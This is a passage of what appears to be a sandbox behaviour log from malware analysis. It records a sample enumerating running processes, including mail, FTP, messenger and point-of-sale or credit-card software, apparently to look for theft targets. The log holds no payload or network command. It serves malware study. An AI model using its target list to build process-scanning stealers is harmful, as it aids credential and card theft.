th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0115.300] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0115.303] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0115.307] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0115.310] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0115.313] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0115.316] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0115.319] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0115.323] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0115.326] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0115.330] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0115.333] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0115.336] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0115.339] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0115.342] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0115.345] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0115.349] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0115.352] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0115.355] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0115.358] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0115.361] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0115.365] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0115.368] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0115.406] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0115.409] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0115.411] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0115.415] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0115.418] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0115.421] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0115.424] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0115.427] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0115.430] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0115.432] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.436] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.438] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0115.441] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0115.443] CloseHandle (hObject=0x1e88) returned 1 [0115.443] Sleep (dwMilliseconds=0x64) [0115.573] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20b0 [0115.591] Process32First (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.593] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.595] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.597] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.600] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.601] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.603] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.605] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.607] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.609] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.611] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.613] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.614] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.616] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.618] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.620] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.621] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.623] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.625] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.627] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.629] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.632] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0115.634] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.636] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.639] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0115.714] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0115.716] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0115.717] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0115.719] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0115.798] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0115.801] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0115.804] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.807] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.809] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0115.812] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0115.815] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0115.817] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.820] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.823] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0115.826] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0115.828] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0115.831] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0115.834] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0115.837] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0115.839] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0115.842] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0115.846] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0115.848] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: 